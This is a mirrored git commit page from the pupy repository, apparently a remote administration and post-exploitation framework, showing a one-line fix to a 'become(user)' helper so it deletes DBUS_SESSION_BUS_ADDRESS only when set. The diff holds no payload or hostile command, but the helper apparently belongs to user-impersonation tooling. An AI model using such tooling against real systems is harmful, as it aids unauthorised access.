mirror of https://github.com/n1nj4sec/pupy.git
[become] DBUS_SESSION_BUS_ADDRESS may not exists
This commit is contained in:
parent
9b6a87249d
commit
bd13f36497
|
@ -49,7 +49,7 @@ def become(user):
|
|||
|
||||
if os.path.exists(user_dbus_socket):
|
||||
os.environ['DBUS_SESSION_BUS_ADDRESS'] = 'unix:path='+user_dbus_socket
|
||||
else:
|
||||
elif 'DBUS_SESSION_BUS_ADDRESS' in os.environ:
|
||||
del os.environ['DBUS_SESSION_BUS_ADDRESS']
|
||||
|
||||
for var in os.environ.keys():
|
||||
|
|
Loading…
Reference in New Issue